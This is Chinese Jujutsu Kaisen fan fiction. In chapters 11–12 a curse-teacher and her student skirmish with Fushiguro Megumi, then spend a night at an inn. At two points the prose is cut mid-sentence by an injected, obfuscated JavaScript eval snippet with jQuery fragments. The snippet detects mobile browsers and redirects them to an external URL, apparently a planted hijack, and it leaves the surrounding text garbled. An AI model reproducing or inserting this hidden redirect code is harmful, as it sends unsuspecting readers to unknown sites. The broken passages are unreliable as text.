枫谷悠真也看呆了:“老师,外面是什么情况?还有咒灵吗?为什么我一点都感知不到!”
“是远程发动的袭击,事先把一些低等级的咒灵,比如蝇头,藏在能够隐藏咒力的特制容器内,等咒术师出来时——也就是他们最放松警惕的时候,再发动偷袭。”
“好阴险!”枫谷大受震撼。
伏黑惠是二级术师,对付蝇头本该绰绰有余,但架不住这些会爆炸的蝇头数量奇多,一团一团地涌出,在天空密密麻麻布成一排,几乎将那些人的身影吞没。
“怎么说,要多管闲事吗?”我把手臂架在车窗边缘,指尖摩挲着车门开关。
河上显然是反对的表情,但他只是默默推了推眼镜,低沉道:“请抓紧时间。”
枫谷悠真:“听老师的!”
比起探究事件,他这个年纪正处在第一次接到任务的新奇中。
我也不想打消他的热情。
“好,现在发布指令,”我伸出一根手指说,“协助咒术师,将蝇头清理干净。”
“啊?”
“啊?”
车内二人一同看向我,仿佛在看怪物。
11. 脱兔
河上辅助拿出手帕擦了擦汗:“清野老师,你搞错方向了吧?”
“没有哦。”我笑笑,但笑容很快消失在脸上。
“我好像知道为什么外面的诅咒风评会这么差了。”我的指尖泛着冰冷,咒力沿着血管流动。
既然想要不被看轻,那就堂堂正正地来对决啊,这样搞偷袭算什么本事?漏瑚甚至为了对决而牺牲掉了整个身体……难不成我们一直苦苦维护的口碑,就要被这种不入流的卑鄙手段毁于一旦吗!
搞什么啊,我们可是正派人物。
心中怒火燃烧着,几乎吞没理智。
我推开车门,枫谷悠真“欸”了一声,也连忙跳下车,脚步声吧嗒吧嗒跟在后面。
“喂,伏黑同学,”我朝远处逆着光的身影问道,“你的老师呢,没来吗?”
远处的人见到我们从车上下来,显然是惊讶的,无需回答,玉犬咆哮着朝我扑来的举动已经代替了答案。
伏黑惠脸上满是厌恶的表情,他似乎极为反感我喊他“同学”。
咒术师对我们诅咒的仇恨不是一天两天了,是但凡提及都会厌恶嫌弃的,这我知道。
可面对跟枫谷年纪相仿的孩子,我总是不自觉想要证明点什么。
“别这么凶嘛,”我笑笑,“和那些东西不是一伙的哦,不信你看。”
我伸出手,做了个张合的手势,密密麻麻飞舞的蝇头瞬间在空中炸开,化为齑粉。
“不知道的还以为你们咒灵在用这些东西开花火大会呢。”伏黑惠没什么好语气,结印的手势仍然停滞在身前。
我挑挑眉:“还真别说,可能是个好主意。”
“但是,真不能坐下来好好谈谈么?我有情报想跟你交换啊。”
伏黑惠咬住牙齿,一股鲜血顺着他的额头淌到面颊,他再度召唤式神。
一道快如闪电的影子在空中盘旋,听到伏黑的口令,快速转向,俯冲至我这边。
“危险!老师!”枫谷悠真本能发动术式,带着我飞到另一台车子的顶部,随后发起反击。
伏黑原地闪开,咒力的攻击惊险地擦过耳尖。
我抬手拦了下枫谷,对伏黑惠说:“这是我的学生,上次应该见过面吧?他被我派去检查特级咒物的松动情况,却被你们袭击。”
“今日你们也遭到了袭击,虽然不是我们所为,但既然同为诅咒,总要承担起责任来。”
“算是一比一扯平了吧?枫谷同学的实力跟你应该差不多的,硬要比拼你们很没胜算啊。我来这儿也是为了找风间守,他大概也是你们的秘密追捕对象吧?”
“真的不可以合作吗?”
我朝对方摊开手,咒力的光芒如挣扎火苗,被无形的力量一点点摁熄,想要违抗本性还真不容易啊。
我主动消解了咒力,这样的诚意应该足够了吧?
伏黑惠愣了一下,随即笑了。
“诅咒能够拥有智慧……这在特级中不算罕见了,如果你妄想用这种技俩诱使我中计,还是算了吧。”
“就、就是!”他身后的辅助监督哆哆嗦嗦地反驳,明明脸还是惨白的,却忽然有了抱怨的底气:“要不是五条悟出差,哪里还轮得到你们嚣张?可恶,为什么那家伙偏偏这时候不在啊!”
如果我没看错的话,伏黑惠应该是皱眉了。
随后我听见伏黑惠低沉的嗓音:“老师很忙啊,虽然平常烦人了点,但把所有处理咒灵的杂事都丢给他做——这种不负责任的心态你难道不羞愧吗?”
辅助监督:“你在生什么气啊,五条没少把老师该负责的报告丢给你来做吧?反正又不会死,反正他那魔鬼一样的术式能够自己修复大脑——我们普通术师的命当然不如他值钱,反正平衡是他打破的,要他多付些责任有什么错?”
空气里飘来熟悉的味道,我嗅了嗅,是身为诅咒再熟悉不过的,负面情绪的味道。
“老师,”身边传来微小的声音,是枫谷悠真拉了拉我的衣服,“他们是在内讧吗?”
“好学生不要学。”我低声说。
冰冷的气息缠绕在指尖,我忽然对那位别人口中“无所不能”的五条悟第一次产生了“理解”的情绪。
是不是从那位六眼神子出生起,他耳畔就环绕着口舌之音,整天在眼前晃悠的陌生面孔,还有不加掩饰的众多凝视——要么贪婪,要么嫉妒。
这些鬼影一样的东西会跟随他一生,他也只能这样活着,被索取、被嫉妒、被仇恨,他自己的生活已经紧紧被外界束缚住了。
我盯着伏黑惠压制怒意的面孔,竟然在漫天蝇头的灰烬中,显得那么清晰。
所以我又庆幸,学生大概算五条悟维持正面的一个锚点吧,这般遭遇实在跟一出生便被追杀的我们太像了。
——当然也不是完全相似。
至少,他做到比我们都强大。
站在悬崖尖顶的男人,已经学会平和地享受这些一直被踩在脚下的恶意了。
蝇头无休止地飞来,我这边也好,咒术师那边也好,都在那一团团黑色的家伙靠近时,发动咒力将其击碎。
不多时,这周围几乎要被黑色的粉末完全覆盖了,起了大雾一般,我们处在黑色的浓雾中,只能听到对面忽高忽低的争吵。
“哎,还是不跟你费口舌了,你是五条老师的好好学生,想努力也正常嘛,但世界上总要允许有不求上进的人存在吧?不然岂不是遍地都是工贼,不平衡了呀。”
“但凡御三家的老古董们做点人事,也不会导致现在的结果。”
“你还了解御三家呢?也对哦,要不是五条,你早就被卖到禅院家了吧?感恩之心确实值得尊重一下……”
“……”
“哇,”枫谷悠真忍不住插嘴道:“身为大人,说出这种话来也太讨厌了吧?”
他冲那边的少年喊话:“伏黑同学,如果我是你,现在会毫不犹豫揍他一拳的。”
黑暗里,那人说:“那还真是多谢了,来吧。”
听见这话,我暗觉不妙。
我挥手推开烟雾,在狂风裹走浓烟之时,望着黑雾里无数只白色的、灵动的影子们,我意识到,已经晚了一步。
“脱兔!”
伏黑惠左手叠在右手上方,十指交错,召唤式神后,竟甩下那位辅助监督逃走了。
留在原地的辅助监督大惊失色:“喂!真不管我死活了吗!不就是调侃一句你心灵那么脆弱的吗——”
“别真丢下我啊!五条悟的学生都这么疯吗,当然做咒术师哪有不疯的,但是—— ”
无数
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301777|182782||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
只白色的兔子从伏黑惠离开的位置跳出来,扑向我们,数量很快就盖过了蝇头。
枫谷悠真也推出双手,浓郁的咒力散发出去,他完全没有控制力度,甚至可以直接杀死对方。
气流冲散了辅助监督的面孔,那些兔子也在冲击波中如残破的纸片,软绵绵地坠落。
在烟波散去后,原本应该看到辅助监督尸体的地方,竟然只剩下一堆枯叶。
“怎么会——”枫谷悠真怔住了。
我说:“是他的术式,我们中计了。”
掌心再度汇聚咒力的光芒,我抓住一只兔子的残骸,发动术式,前方密密麻麻汇聚一只巨型白影的式神们全都一僵,如被推倒的积木一般,纷纷落地。
在纷纷扬扬的兔子雨中,我的目光捕捉到了伏黑惠扯着辅助监督跨越围墙逃离的背影。
枫谷悠真也看到了,他吹了声悠长的口哨,头顶于无形之中张开一道黑色的裂口,一枚长刀从裂口中穿过。
伏黑惠的肩膀险些被刺穿,他从围墙上翻滚而落,摔的那一下应该不轻,但他起身后仍然没有放慢脚步,甚至再度召唤式神。式神从天空盘旋而至,抓着两人迅速飞离,转眼间在楼层中消失不见。
教学楼被残没的夕阳分割成了明与暗两部分,我脚下踩着斜长的影子,刚好在明暗的交界。头顶的黑色正在褪去,恢复成天空的本色,遥远的地方还是一片橙红,但靠近我这里就稍显暗淡了。
刚才被我用咒力屏蔽掉的声响全都恢复了嘈杂,各种昆虫、鸟类的鸣叫——明明我的世界也有,可这里显得无比陌生。
手中兔子的残骸给我传递了一副画面。
我注视着从暗处拼命奔向光明的伏黑惠的背影,脚下如水一样的影子紧随其后。黑色的咒术高专制服紧紧包裹着他的肩背,明明已经到极限了,可他的步伐依旧沉稳。
只是看着,我心里竟然传来一股刺痛,竟不自觉抓住了身边枫谷悠真的肩膀,掌心触碰到冰凉又有些滑的制服布料,枫谷明显僵了一下。
“老师,刚才不该反击那一下吗?”枫谷悠真小心翼翼地询问。
“没有,做得很好。”我言不由衷地夸赞。
遥远的空中传过来一声高过一声的鸟鸣,嘶哑而尖利的声音,带来如晴日响雷般的颤栗。
该放过吗?该放手的吧。
河上不是一开始就说了吗,不要多管闲事。
枫谷其实已经要比我高了,我需要把手臂抬成钝角才勉强能够摸到他的头发。
短短的,很扎手,像是一团刺猬。
同样是学生的身份,那边奔跑着的和我身边站立着的究竟有何不同?
为何,为何在那些人眼中仿佛有着云泥之别。
云朵是很漂亮,我也喜欢天空中飘着的白云和蓝色湖水中倒映的白云。
可是,土壤又有什么不对?
“清野老师。”河上把车开到了我身边,低声催促。
我叹了口气,停止了思考:“完全搞不懂了啊。果然我们的智力还是跟那边的人有差别的吧?”
河上握紧方向盘,似乎有些生气:“清野老师还是先做到不要胡乱行动这一点吧。”
“上车吧。”我拍拍枫谷悠真的肩膀,把手里已经风化的兔子标本一同递给了他。
12. 桂花糕
我们在车内待了快一个小时。
枫谷悠真像个得到了新鲜玩具的孩童,一直摆弄着标本:“哇,到底是怎么做到的?这就是式神吗?老师您是用术式把它固定在了这一刻吗?听说式神如果彻底死亡,就无法再被召唤出来了。”
“嗯。”
我有一搭没一搭地应答着。
河上一开始还努力提速行驶,然后在广播隔段时间就播报的时间里,渐渐开始放弃。
“反正都是因为清野老师,我们不得不在外面留宿一晚了。”
长时间思考同一个问题,让我大脑有些疲惫,我索性将椅背放倒,半躺着说:“那就随便找个地方住吧,费用我来报销。”
“……”
河上:“这不是钱的问题。”
我换了个方式安慰:“放心,风间守绝对没那么容易死掉的。”
河上:“我必须更正一点,我们是来执行追捕而不是拯救的。就算最坏的结果,他死亡了,也务必把尸体带回。”
啊,真是个古板的家伙,和他对话就像是面对一株枯萎的玫瑰花,了无生趣。
我只好挥挥手:“知道啦知道啦,河上比起我更适合当老师呢,说教这一方面简直无人能敌。”
枫谷的声音从后座传来:“哎呀,清野老师露出不良的一面了。”
“才知道吗?我读书时可不是那种循规蹈矩的乖学生啊。”
“欸——”
又半小时后。
我的座椅来回切换了不下十次状态,最后忍不住打开车窗,对着空无一人的夜路喊道:“好远啊!河上先生,还没到吗?”
“喂,麻烦坐好啊,作为大人好歹在学生面前当个好榜样吧?安全带要断了啊。”
河上焦急的声音在风中显得又尖又细。
我不由得笑出声,但闷在车内的烦躁感并未消解。
河上抬起手指用力敲了下方向盘:“市内的酒店都需要提前预订,我在地图上搜索到能够满足条件的唯一一家旅店距离我们还有五公里,所以请再忍耐一下好吗?”
“可——”
“这辆车是我上个月才新申请的,最起码坚持到给它过百天好吗?”
“好啦好啦,河上不要这么激动,”我乖乖坐回来,避免真的惹恼他,“坐车太久总会没耐心嘛。”
随后我又把话题转向了后座昏昏欲睡的枫谷:“唉,枫谷也要加强训练啊,不是空间系术式吗,不能直接把我们瞬移过去吗?”
枫谷悠真认真地回答:“理论上可以,但我现在还没办法挪动像汽车这么大体积的东西。河上先生不是也说要珍惜这台车吗……”
我目无焦点地凝视着窗外闪过的树影,语气低了下来:“既然是有可能的事,就努努力做到吧。”
这句话乍一听很像在无理取闹,忍了很久的河上也再次吐槽起来:“停一停吧,你以为谁都是特级吗?”
我:“枫谷确实有特级的潜质,瞬移什么的不过分吧?”
河上:“拜托,算上咒术师这么多年才出几个空间系,就算能做到也会产生相当大的损耗吧,你以为谁都是五条悟?用起术式来完全不需要节制。”
听到那个名字,我们不约而同沉默下来。河上似乎也意识到自己失言,在接下来的车程里再次提速。
等我们终于抵达旅店时,汽车的发动机已经发出接近于“罢工”的声响了。
旅馆不大,是独立的复式结构,从外表上看有些年岁了,被漆黑的夜色笼罩着,只散发出一层薄薄的光。
我的包里带了伪装咒具,这东西能够让普通人也能够看见我们,并且把我们当作“同类”。
虽然这种做法让我感觉到些微不适,因为我们明明不会伤害他们,长得也并不像低级的咒灵那样丑陋。
我们是各方面都无尽贴合于普通人的“新人类”。
我学习过如何在这个世界融入人类的技巧,正自告奋勇地掏出钱包说“我来”时,被河上一把拦下。
“这是我们辅助咒灵的工作,清野老师还是带着学生在外面等候吧。”
“请不要小看我啊。”我说。
对于第一次接触到这个世界的我来说,看什么都是新鲜的。
“请在外面等候。”河上辅助重复了一遍,态度完全没有商量的余地。
“辅助咒灵都接受过专业的社会化训练,请相信我。”他说。
“好吧。”我悻悻地缩回手,拉过茫然的枫谷悠真,往门边挪了挪,给河上辅助让出位置。
河上经过我时推了推眼镜,表情没什么变化:“另外,提醒清野老师一下,你钱包里不需要携带那么多现金。”
“这个世界的人们都用信用卡,或者手机支付。”
“什么?”我愣住。
手机除了可以跟花御她们聊天外,还能够用来进行交易吗?!
我注视着河上跟前台沟通的熟练身影,用胳膊轻轻碰了碰枫谷悠真。
“喂,枫谷,你知道在这个世界买东西可以用手机支付吗?”
枫谷悠真还在瞪着眼睛观察四周环境,其实咒术师和人类的世界并没有我们想象的那么神秘。
可是,当这些从未听说过的新事物大量冲刷认知时,还是让大脑对过量信息的处理感到吃力。
枫谷晃了晃脑袋,又露出那种难以理解的表情:“什么意思?难不成每次买东西还需要交换一部手机吗?这很麻烦吧,哪里方便了?!”
就在我们叽叽喳喳讨论时,眼前闪过一束光,河上挥着奇亮无比的手机,朝我们示意。
走进电梯时,枫谷还缠着他问,是怎么做到让手机像闪光弹一样亮的。
河上演示完手机上的操作后,掏出手帕擦了擦汗,很显然疲于应对我们的连环提问。
他对上我挂着平和微笑的脸,有气无力地说:“清野老师的耐心在面对学生时反而特别充足啊。”
枫谷眨着眼睛响亮地替我回答:“清野老师是咒灵高专最棒的老师!”
*
入住旅店是一种新奇的体验,我们计划原本是三人一人一间,不过由于枫谷悠真尚未成年,需要监护人陪同,而前台一句“是一家三口自驾旅行吗”的询问,让河上临时改了口。
“对,是的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301778|182782||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”他笃定地说,随后看了眼门外等待的我们。
在之后就是他喊我们一起乘电梯了。
我没有问他为什么撒谎,因为人类的逻辑和客套很好模仿,但容易模仿不意味着容易理解,就像我至今不知咒术师为何对我们的存在恨之入骨。
难得的是,我们享受了一段闲适的夜晚时光。这是个传统的榻榻米房间,时不时有人提灯路过,在门上飘过一片昏黄的影子。
路过之人有刻意小心地抬脚,但我仍然能听到鞋袜与木制地板相触时,犹如石子坠入湖中,发出沉闷的回响。
笃、笃。
天近拂晓的时候,我从被子里钻出,拉开木门打算去廊外透气。
靠近门廊边时,一位身着传统服饰的女人已经坐在那儿了,听到动静,她转头看过来。
“早上好,”她说,“昨天休息得好吗?”
我点点头,脸上挂着茫然,甚至忘记了要微笑。
女人盘着高高的发髻,她正在备茶和点心,淡淡的香气从她抬起的袖口间发散,萦绕在我们之间的空隙。
也许是我的坐姿过于拘谨,她主动拉近距离,自我介绍道:“我是这家旅馆老板的女儿,昨天是我母亲接待的你们。”
“原来如此。”我点点头,仍然不知道该怎么继续话题,擅长料理的枫谷悠真此时还在被窝里呼呼大睡,而我这个料理白痴总不能一一指着盘里的点心问它们是怎么来的。
女人却自己说起来:“我母亲生下我妹妹之后便离婚了,一个人带着我来这里,开了家小旅馆维持生计。我没什么远大的志向,所以毕业后就回到这里帮母亲经营旅馆生意。说起来,昨天那么晚我都没有料到会有客人拜访。”
“还真是要谢谢你们,有了这笔收入,母亲大概会高兴很久。”
我问:“旅馆的生意不好吗?”
女人:“是最近才变成这样的。前一阵子这里爆发了命案,闹得人心惶惶,连带着附近旅游业都受了影响,而我们旅店又主打家庭旅居风格,那些拖家带口的人哪里敢跟命案扯上关系,客人自然就少咯。”
“命案?”
“是啊,据说死状很凄惨,像是被用了什么腐坏剂,整个人从骨头开始融掉。警方一直不肯公开调查结果,街坊间都流传说不像人为,像是怪物、鬼神一类的……”
我心一惊,那不就是诅咒吗?
被这个世界的人称作怪物,是夺取普通人类性命的鬼神……
“呀,被吓到了吗?”女人笑笑,“脸色都苍白了。其实我不是故意要说这些的,只是这里太久没有客人,总想找谁说说话聊聊天。”
我渐渐变得没有底气:“那凶手抓到了吗?”
“大概还是在逃状态吧,不过最近到处都不太平呢,诡异的事件越来越多。”
女人低下头,手持陶瓷刀轻轻将一块糕点分成两半,随后递给我一半。
“桂花口味,加了这个季节的甜杏酱。”
“谢谢,”我伸手接过,脸颊却烧起来,“那,我开动了……”
女人温和地笑笑,用手指捏着另一半点心吃起来。